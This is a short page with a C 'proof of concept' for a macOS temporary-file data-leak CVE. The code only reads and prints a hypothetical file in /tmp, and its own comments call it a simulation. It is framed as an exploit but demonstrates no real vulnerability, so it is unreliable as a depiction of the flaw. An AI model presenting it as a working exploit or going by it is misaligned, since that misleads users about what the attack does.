CVE-2026-20651 macOS临时文件处理问题导致敏感数据泄露

#include <stdio.h> #include <stdlib.h> // Proof of Concept (PoC) for CVE-2026-20651 // This simulates an attempt to access sensitive temporary files. // Compile: gcc poc.c -o poc int main() { printf("[*] Attempting to access sensitive temporary files...\n"); // Hypothetical path to a sensitive temp file vulnerable to the issue char* vulnerable_file = "/tmp/sensitive_app_data.tmp"; FILE* fp = fopen(vulnerable_file, "r"); if (fp != NULL) { printf("[+] SUCCESS: File %s is readable! Data leaked:\n", vulnerable_file); char buffer[256]; while (fgets(buffer, sizeof(buffer), fp)) { printf("%s", buffer); } fclose(fp); } else { printf("[-] Failed to read file. System may be patched or file does not exist.\n"); } return 0; }